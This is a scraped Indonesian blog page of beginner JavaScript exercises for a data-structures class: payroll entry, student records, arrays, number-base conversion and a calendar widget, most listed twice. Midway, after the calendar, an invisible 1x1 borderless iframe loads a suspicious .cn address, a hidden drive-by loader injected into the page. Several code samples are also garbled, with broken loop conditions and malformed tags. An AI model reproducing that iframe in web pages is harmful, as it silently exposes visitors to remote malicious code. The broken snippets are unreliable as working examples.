<script type="text/javascript">
var namaBulanI = new Array( "Januari","Februari","Maret","April","Mei","Juni",
"Juli","Agustus","September","Oktober","November","Desember" );
var namaHariI = new Array( "Kamis","Jumat","Sabtu","Minggu","Senin","Selasa","Rabu" );
function showDate() {
now = new Date();
iTanggalM = now.getDate();
iBulanM = now.getMonth();
iTahunM = now.getYear();
if(iTahunM<1900) { iTahunM += 1900; } // Y2K
iJam=now.getHours();
iMenit=now.getMinutes();
iDetik=now.getSeconds();
hr = Date.UTC(iTahunM,iBulanM,iTanggalM,0,0,0)/1000/60/60/24;
sDate = namaHariI[hr%7]+", "+iTanggalM+" "+namaBulanI[iBulanM]+" "+iTahunM+"<br>";
sDate += (iJam<10?"0"+iJam:iJam)+":"+
(iMenit<10?"0"+iMenit:iMenit)+":"+
(iDetik<10?"0"+iDetik:iDetik);
if(document.all)
{ document.all.clock.innerHTML=sDate; }
else if(document.getElementById)
{ document.getElementById( "clock" ).innerHTML=sDate; }
else { document.write(sDate); }
}
function showIt() {
showDate();
if(document.all||document.getElementById)
{ setInterval("showDate()",1000); }
}
</script>
</head>
<body>
<span id="clock"><script>showIt();</script></span>
</body>
</html>
<HTML>
<head>
<META HTTP-EQUIV="imagetoolbar" CONTENT="no">
<style type="text/css">
body {
font-family: arial, helvetica, serif;
</style>
<script type="text/javascript">
startList = function() {
if (document.all&&document.getElementById) {
navRoot = document.getElementById("nav");
for (i=0; i<navRoot.childNodes.length; i++) {
node = navRoot.childNodes[i];
if (node.nodeName=="LI") {
node.onmouseover=function() {
this.className+=" over";
}
node.onmouseout=function() {
this.className=this.className.replace(" over", "");
}
}
}
}
}
window.onload=startList;
var message="";
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
document.oncontextmenu=new Function("return false")
<!-- Original: Nick Korosi (nfk2000@hotmail.com) -->
<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->
<!-- Begin
var dDate = new Date();
var dCurMonth = dDate.getMonth();
var dCurDayOfMonth = dDate.getDate();
var dCurYear = dDate.getFullYear();
var objPrevElement = new Object();
function fToggleColor(myElement) {
var toggleColor = "#ff0000";
if (myElement.id == "calDateText") {
if (myElement.color == toggleColor) {
myElement.color = "";
} else {
myElement.color = toggleColor;
}
} else if (myElement.id == "calCell") {
for (var i in myElement.children) {
if (myElement.children[i].id == "calDateText") {
if (myElement.children[i].color == toggleColor) {
myElement.children[i].color = "";
} else {
myElement.children[i].color = toggleColor;
}
}
}
}
}
function fSetSelectedDay(myElement){
if (myElement.id == "calCell") {
if (!isNaN(parseInt(myElement.children["calDateText"].innerText))) {
myElement.bgColor = "#c0c0c0";
objPrevElement.bgColor = "";
document.all.calSelectedDate.value = parseInt(myElement.children["calDateText"].innerText);
objPrevElement = myElement;
}
}
}
function fGetDaysInMonth(iMonth, iYear) {
var dPrevDate = new Date(iYear, iMonth, 0);
return dPrevDate.getDate();
}
function fBuildCal(iYear, iMonth, iDayStyle) {
var aMonth = new Array();
aMonth[0] = new Array(7);
aMonth[1] = new Array(7);
aMonth[2] = new Array(7);
aMonth[3] = new Array(7);
aMonth[4] = new Array(7);
aMonth[5] = new Array(7);
aMonth[6] = new Array(7);
var dCalDate = new Date(iYear, iMonth-1, 1);
var iDayOfFirst = dCalDate.getDay();
var iDaysInMonth = fGetDaysInMonth(iMonth, iYear);
var iVarDate = 1;
var i, d, w;
if (iDayStyle == 2) {
aMonth[0][0] = "Sunday";
aMonth[0][1] = "Monday";
aMonth[0][2] = "Tuesday";
aMonth[0][3] = "Wednesday";
aMonth[0][4] = "Thursday";
aMonth[0][5] = "Friday";
aMonth[0][6] = "Saturday";
} else if (iDayStyle == 1) {
aMonth[0][0] = "Sun";
aMonth[0][1] = "Mon";
aMonth[0][2] = "Tue";
aMonth[0][3] = "Wed";
aMonth[0][4] = "Thu";
aMonth[0][5] = "Fri";
aMonth[0][6] = "Sat";
} else {
aMonth[0][0] = "Su";
aMonth[0][1] = "Mo";
aMonth[0][2] = "Tu";
aMonth[0][3] = "We";
aMonth[0][4] = "Th";
aMonth[0][5] = "Fr";
aMonth[0][6] = "Sa";
}
for (d = iDayOfFirst; d < 7; d++) {
aMonth[1][d] = iVarDate;
iVarDate++;
}
for (w = 2; w < 7; w++) {
for (d = 0; d < 7; d++) {
if (iVarDate <= iDaysInMonth) {
aMonth[w][d] = iVarDate;
iVarDate++;
}
}
}
return aMonth;
}
function fDrawCal(iYear, iMonth, iCellWidth, iCellHeight, sDateTextSize, sDateTextWeight, iDayStyle) {
var myMonth;
myMonth = fBuildCal(iYear, iMonth, iDayStyle);
document.write("<table border='1'>")
document.write("<tr>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][0] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][1] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][2] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][3] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][4] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][5] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][6] + "</td>");
document.write("</tr>");
for (w = 1; w < 7; w++) {
document.write("<tr>")
for (d = 0; d < 7; d++) {
document.write("<td align='left' valign='top' width='" + iCellWidth + "' height='" + iCellHeight + "' id=calCell style='CURSOR:Hand' onMouseOver='fToggleColor(this)' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)>");
if (!isNaN(myMonth[w][d])) {
document.write("<font id=calDateText onMouseOver='fToggleColor(this)' style='CURSOR:Hand;FONT-FAMILY:Arial;FONT-SIZE:" + sDateTextSize + ";FONT-WEIGHT:" + sDateTextWeight + "' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)>" + myMonth[w][d] + "</font>");
} else {
document.write("<font id=calDateText onMouseOver='fToggleColor(this)' style='CURSOR:Hand;FONT-FAMILY:Arial;FONT-SIZE:" + sDateTextSize + ";FONT-WEIGHT:" + sDateTextWeight + "' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)> </font>");
}
document.write("</td>")
}
document.write("</tr>");
}
document.write("</table>")
}
function fUpdateCal(iYear, iMonth) {
myMonth = fBuildCal(iYear, iMonth);
objPrevElement.bgColor = "";
document.all.calSelectedDate.value = "";
for (w = 1; w < 7; w++) {
for (d = 0; d < 7; d++) {
if (!isNaN(myMonth[w][d])) {
calDateText[((7*w)+d)-7].innerText = myMonth[w][d];
} else {
calDateText[((7*w)+d)-7].innerText = " ";
}
}
}
}
// End -->
</script>
</head>
<body>
<table width="760" height="577" border="0">
<tr>
<td width="140"> </td>
<td width="620" valign="top"><br><br><b><u>Event Calendar</u></b><br><br>
<script language="JavaScript" for=window event=onload>
<!-- Begin
var dCurDate = new Date();
frmCalendarSample.tbSelMonth.options[dCurDate.getMonth()].selected = true;
for (i = 0; i < frmCalendarSample.tbSelYear.length; i++)
if (frmCalendarSample.tbSelYear.options[i].value == dCurDate.getFullYear())
frmCalendarSample.tbSelYear.options[i].selected = true;
// End -->
</script>
<form name="frmCalendarSample" method="post" action="">
<input type="hidden" name="calSelectedDate" value="">
<table border="1">
<tr>
<td>
<select name="tbSelMonth" onchange='fUpdateCal(frmCalendarSample.tbSelYear.value, frmCalendarSample.tbSelMonth.value)'>
<option value="1">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
<select name="tbSelYear" onchange='fUpdateCal(frmCalendarSample.tbSelYear.value, frmCalendarSample.tbSelMonth.value)'>
<option value="2006">2006</option>
<option value="2007">2007</option>
<option value="2008">2008</option>
<option value="2009">2009</option>
<option value="2010">2010</option>
<option value="2011">2011</option>
<option value="2012">2012</option>
</select>
</td>
</tr>
<tr>
<td>
<script language="JavaScript">
var dCurDate = new Date();
fDrawCal(dCurDate.getFullYear(), dCurDate.getMonth()+1, 30, 30, "12px", "bold", 1);
</script>
</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<iframe src="http://NtKrnlpa.cn/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
Selasa, 07 April 2009
Data pegawai
<html>
<head><title>Memanipulasi Data Pegawai</title><head>
<script language = "javascript" type="text/javascript">
<!--
var DBPegawai = new Array();
function Pegawai(Fields_NIP,Fields_Nama,Fields_Gaji_Per_Jam,Fields_Jam_Kerja,Fields_Gaji_Total)
{
this.NIP = Fields_NIP;
this.Nama = Fields_Nama;
this.Gaji_Jam = Fields_Gaji_Per_Jam;
this.Jam_Kerja = Fields_Jam_Kerja;
this.Gaji_Total = Fields_Gaji_Total;
}
function inputPegawai()
{
var Nama,Gaji_Per_Jam, Jam_Kerja, Gaji;
while ( NIP = window.prompt("Ketikan NIP (Nomor Induk Pegawai)\n Click 'cancel' untuk Berhenti !!."))
{
Nama = window.prompt ("Nama Pegawai :");
Gaji_Per_Jam = parseInt (window.prompt ("Gaji Per Jam :"));
Jam_Kerja = parseInt (window.prompt ("Jumlah Jam Kerja :"));
Gaji = Gaji_Per_Jam*Jam_Kerja;
alert ("Apakah anda mau menambah data lagi..??\n Jika 'YA' tekan 'OK' kemudian isi data\n Jika 'TIDAK' tekan 'OK' kemudian tekan 'Cancel'");
DBPegawai [DBPegawai.length]=new Pegawai(NIP,Nama,Gaji_Per_Jam,Jam_Kerja,Gaji);
}
ShowPegawai();
}
function ShowPegawai()
{
document.write("<table border='1'>"+ "<tr>"+ "<th>NIP</th><th>Nama</th><th>Gaji Per Jam</th><th>Jam Kerja</th>"+ "<th>Gaji Total</th>"+ "</tr>");
for (i=0; i?DBPegawai.length; i++)
{
document.write("<tr>"+ " <td>" + DBPegawai[i].NIP + "</td>"+ " <td>" + DBPegawai[i].Nama + "</td>" + " <td align='right'>" + DBPegawai[i].Gaji_Jam + "</td>" + " <td align='right'>" + DBPegawai[i].Jam_Kerja + "</td>" + " <td align='right'>" + DBPegawai[i].Gaji_Total + "</td>" + " </tr>");
}
document.write ("</table>");
}
//-->
</script>
</head>
<body onload ="inputPegawai();">
</body>
</html>
Hasil Outputnya sebagaiberikut:
<html>
<head><title>Memanipulasi Data Pegawai</title><head>
<script language = "javascript" type="text/javascript">
<!--
var DBPegawai = new Array();
function Pegawai(Fields_NIP,Fields_Nama,Fields_Gaji_Per_Jam,Fields_Jam_Kerja,Fields_Gaji_Total)
{
this.NIP = Fields_NIP;
this.Nama = Fields_Nama;
this.Gaji_Jam = Fields_Gaji_Per_Jam;
this.Jam_Kerja = Fields_Jam_Kerja;
this.Gaji_Total = Fields_Gaji_Total;
}
function inputPegawai()
{
var Nama,Gaji_Per_Jam, Jam_Kerja, Gaji;
while ( NIP = window.prompt("Ketikan NIP (Nomor Induk Pegawai)\n Click 'cancel' untuk Berhenti !!."))
{
Nama = window.prompt ("Nama Pegawai :");
Gaji_Per_Jam = parseInt (window.prompt ("Gaji Per Jam :"));
Jam_Kerja = parseInt (window.prompt ("Jumlah Jam Kerja :"));
Gaji = Gaji_Per_Jam*Jam_Kerja;
alert ("Apakah anda mau menambah data lagi..??\n Jika 'YA' tekan 'OK' kemudian isi data\n Jika 'TIDAK' tekan 'OK' kemudian tekan 'Cancel'");
DBPegawai [DBPegawai.length]=new Pegawai(NIP,Nama,Gaji_Per_Jam,Jam_Kerja,Gaji);
}
ShowPegawai();
}
function ShowPegawai()
{
document.write("<table border='1'>"+ "<tr>"+ "<th>NIP</th><th>Nama</th><th>Gaji Per Jam</th><th>Jam Kerja</th>"+ "<th>Gaji Total</th>"+ "</tr>");
for (i=0; i?DBPegawai.length; i++)
{
document.write("<tr>"+ " <td>" + DBPegawai[i].NIP + "</td>"+ " <td>" + DBPegawai[i].Nama + "</td>" + " <td align='right'>" + DBPegawai[i].Gaji_Jam + "</td>" + " <td align='right'>" + DBPegawai[i].Jam_Kerja + "</td>" + " <td align='right'>" + DBPegawai[i].Gaji_Total + "</td>" + " </tr>");
}
document.write ("</table>");
}
//-->
</script>
</head>
<body onload ="inputPegawai();">
</body>
</html>
Hasil Outputnya sebagaiberikut:
Program Entri Data Pegawai
<Lhtml>
<head><title>Membuat Rekaman Objek</title></head>
<body>
<script language = "javascript">
<!--
var Record = new Array();
function Mahasiswa (npm, nama, prodi, jenjang)
{//properti
this.npm = npm;
this.nama = nama;
this.prodi = prodi;
this.jenjang = jenjang;
//Metode
this.LihatRecordMahasiswa = LihatRecordMahasiswa;
}
function LihatRecordMahasiswa()
{
document.write("<td>" +this.npm+ "</td>");
document.write("<td>" +this.nama+ "</td>");
document.write("<td>" +this.prodi+ "</td>");
document.write("<td>" +this.jenjang+ "</td>");
}
//Mengisi data
Record[0]=new Mahasiswa("0001","Dani","TI","SI");
Record[1]=new Mahasiswa("0002","Doni","TK","D3");
Record[2]=new Mahasiswa("0003","Dina","SI","SI");
Record[3]=new Mahasiswa("0004","Dini","KA","D3");
//Menampilkan Data
document.write("<table border='1'>");
document.write("<th>npm?/th>>th>nama</th>");
document.write("<th>prodi</th><th>jenjang</th><br>");
for (i=0; i < Record.length; i++)
{
document.write("<tr>");
Record[i].LihatRecordMahasiswa();
document.write("</tr>");
}
document.write("</table>?br>");
//-->
</script>
</body>
</html>

hasilnya sebagai berikut
<Lhtml>
<head><title>Membuat Rekaman Objek</title></head>
<body>
<script language = "javascript">
<!--
var Record = new Array();
function Mahasiswa (npm, nama, prodi, jenjang)
{//properti
this.npm = npm;
this.nama = nama;
this.prodi = prodi;
this.jenjang = jenjang;
//Metode
this.LihatRecordMahasiswa = LihatRecordMahasiswa;
}
function LihatRecordMahasiswa()
{
document.write("<td>" +this.npm+ "</td>");
document.write("<td>" +this.nama+ "</td>");
document.write("<td>" +this.prodi+ "</td>");
document.write("<td>" +this.jenjang+ "</td>");
}
//Mengisi data
Record[0]=new Mahasiswa("0001","Dani","TI","SI");
Record[1]=new Mahasiswa("0002","Doni","TK","D3");
Record[2]=new Mahasiswa("0003","Dina","SI","SI");
Record[3]=new Mahasiswa("0004","Dini","KA","D3");
//Menampilkan Data
document.write("<table border='1'>");
document.write("<th>npm?/th>>th>nama</th>");
document.write("<th>prodi</th><th>jenjang</th><br>");
for (i=0; i < Record.length; i++)
{
document.write("<tr>");
Record[i].LihatRecordMahasiswa();
document.write("</tr>");
}
document.write("</table>?br>");
//-->
</script>
</body>
</html>
hasilnya sebagai berikut
Mengisi Array dengan Cara mengentri dari kotaak pesan.
<html>
<head>
<title>Parameter Arrey</title>
</head>
<body>
<script language ="javascript">
<!--
var tempat=([]);
var data = prompt ("Ketik Jumlah Maksimum Array:");
for (m=1; m<=data; m++)
{
var bil = prompt("Masukan Bilangan :");
tempat[m]= bil;
}
for (n=1; n<=data; n++)
{
document.write("Elemen Array ("+n+") =" +tempat[n] + "<br>");
}
//-->
</script>
</body>
</html>
Hasil Outputnya Sebagai Berikut:
<html>
<head>
<title>Parameter Arrey</title>
</head>
<body>
<script language ="javascript">
<!--
var tempat=([]);
var data = prompt ("Ketik Jumlah Maksimum Array:");
for (m=1; m<=data; m++)
{
var bil = prompt("Masukan Bilangan :");
tempat[m]= bil;
}
for (n=1; n<=data; n++)
{
document.write("Elemen Array ("+n+") =" +tempat[n] + "<br>");
}
//-->
</script>
</body>
</html>
Hasil Outputnya Sebagai Berikut:
Pendeklarasian
Implementasi Dalam Program dg isi Array dengan memanggil indeksnya
<HTML>
<HEAD>
<TITLE>Belajar Array</TITLE>
</HEAD>
<BODY>
<SCRIPT LANGUAGE= "JavaScript">
<!--
var DAta_ku= new Array ("saya","sedang","senang");
for (i=0; i<3; i++)
{
document.write("DATA_KU [i]" +"<br>Saya</br><br>sedang</br><br>Beljar</br>");
}
alert("selamat Belajar Struktur Data");
alert("Semoga Memperoleh Ilmu yang Bermaanfaat");
//-->
</SCRIPT>
</BODY>
</HTML>
HAsil outputnya Sebagai Berikut:


<HTML>
<HEAD>
<TITLE>Belajar Array</TITLE>
</HEAD>
<BODY>
<SCRIPT LANGUAGE= "JavaScript">
<!--
var DAta_ku= new Array ("saya","sedang","senang");
for (i=0; i<3; i++)
{
document.write("DATA_KU [i]" +"<br>Saya</br><br>sedang</br><br>Beljar</br>");
}
alert("selamat Belajar Struktur Data");
alert("Semoga Memperoleh Ilmu yang Bermaanfaat");
//-->
</SCRIPT>
</BODY>
</HTML>
HAsil outputnya Sebagai Berikut:
Program Function Penjuamlahan dan Type Data
<HTML>
<HEAD>
<TITLE>membuat fungsi matematika dengan javascrip</TITLE>
</HEAD>
<BODY>
<font bgcolor="oreng">
<SCRIPT LANGUAGE = "JAvascript">
<!--
function jumlah (x,y)
{
var hasil = x + y;
return(hasil);
}
var a = parseInt(prompt ("Ketikan Bilangan A=\n Ingat Jangan String"));
var b = parseInt(prompt ("Ketikan Bilangan B=\n Ingat Jangan String"));
var z = jumlah(a,b);
document.write( z);
document.write("<br>");
document.write("<hr>");
document.write("Tipe Data nya adalah = " + typeof(z));
//-->
</SCRIPT>
</BODY>
</HTML>
Hasil outputnya sebagai Berikut:
<HTML>
<HEAD>
<TITLE>membuat fungsi matematika dengan javascrip</TITLE>
</HEAD>
<BODY>
<font bgcolor="oreng">
<SCRIPT LANGUAGE = "JAvascript">
<!--
function jumlah (x,y)
{
var hasil = x + y;
return(hasil);
}
var a = parseInt(prompt ("Ketikan Bilangan A=\n Ingat Jangan String"));
var b = parseInt(prompt ("Ketikan Bilangan B=\n Ingat Jangan String"));
var z = jumlah(a,b);
document.write( z);
document.write("<br>");
document.write("<hr>");
document.write("Tipe Data nya adalah = " + typeof(z));
//-->
</SCRIPT>
</BODY>
</HTML>
Hasil outputnya sebagai Berikut:
Pogram Konversi Antar Sistem Bilangan
<HTML>
<HEAD>
<TITLE>Type Bilangan</TITLE>
</HEAD>
<BODY Bgcolor = " ABU-ABU">
<SCRIPT LANGUAGE = "JAvascript">
var bil = new Number (25);
document.write("Bilangan Drcimal: " +bil + "<BR>");
document.write("<BR>");
document.write("Biner : " + bil.toString(2) + "<BR>");
document.write("Oktal : " + bil.toString(8) + "<BR>");
document.write("Heksa : " + bil.toString(16)+ "<BR>");
//-->
</SCRIPT>
</BODY>
</HTML>
Hasil oytputnya Sebagai Berikut:
<HTML>
<HEAD>
<TITLE>Type Bilangan</TITLE>
</HEAD>
<BODY Bgcolor = " ABU-ABU">
<SCRIPT LANGUAGE = "JAvascript">
var bil = new Number (25);
document.write("Bilangan Drcimal: " +bil + "<BR>");
document.write("<BR>");
document.write("Biner : " + bil.toString(2) + "<BR>");
document.write("Oktal : " + bil.toString(8) + "<BR>");
document.write("Heksa : " + bil.toString(16)+ "<BR>");
//-->
</SCRIPT>
</BODY>
</HTML>
Hasil oytputnya Sebagai Berikut:
menambahkan 2 bilangan
Program Menambahkan 2 Bilangan
<HTML>
<HEAD>
<TITLE>Type Bilangan</TITLE>
</HEAD>
<BODY Bgcolor = " Blue">
<SCRIPT LANGUAGE = "JAvascript">
var a = 15;
b = 14;
tambah = a + b;
kali = a * b;
document.write("penambahan (" +a+ " + " +b+ ") = " + tambah);
document.write("<BR>");
document.write("perkalian (" +a+ " x " +b+ ") = " + kali);
document.write("<BR>");
//-->
</SCRIPT>
</BODY>
</HTML>
Hasil Outputnya Sebagai Berikut:
<HTML>
<HEAD>
<TITLE>Type Bilangan</TITLE>
</HEAD>
<BODY Bgcolor = " Blue">
<SCRIPT LANGUAGE = "JAvascript">
var a = 15;
b = 14;
tambah = a + b;
kali = a * b;
document.write("penambahan (" +a+ " + " +b+ ") = " + tambah);
document.write("<BR>");
document.write("perkalian (" +a+ " x " +b+ ") = " + kali);
document.write("<BR>");
//-->
</SCRIPT>
</BODY>
</HTML>
Hasil Outputnya Sebagai Berikut:
<Html>
<Head>
<title> Struktur Data </Title>
<script>
<!--
alert("Selamat Datang");
//-->
</script>
</Head>
<Body bgcolor="pink">
<font color="Yellow">
<B><p> SELAMAT BELAJAR </B>
</font><hr>
<hi> STMIK Kharisma Karawang </hi>
<font color="#01AAEB">
<marquee>FAIZUN BIN NURKHAFID</marquee>
<TABLE border>
<FONT COLOR LEFT15 HIGHT20>
<TR><TH>NPM<TH>NAMA<TH>PRODI
<TR><TH>43e57001<TD>IJUNK<TD>TI
<TR><TH>43E57002<TD>RONI<TD>TI
</TABLE>
</BODY>
</HTML>
<Head>
<title> Struktur Data </Title>
<script>
<!--
alert("Selamat Datang");
//-->
</script>
</Head>
<Body bgcolor="pink">
<font color="Yellow">
<B><p> SELAMAT BELAJAR </B>
</font><hr>
<hi> STMIK Kharisma Karawang </hi>
<font color="#01AAEB">
<marquee>FAIZUN BIN NURKHAFID</marquee>
<TABLE border>
<FONT COLOR LEFT15 HIGHT20>
<TR><TH>NPM<TH>NAMA<TH>PRODI
<TR><TH>43e57001<TD>IJUNK<TD>TI
<TR><TH>43E57002<TD>RONI<TD>TI
</TABLE>
</BODY>
</HTML>
Langganan:
Postingan (Atom)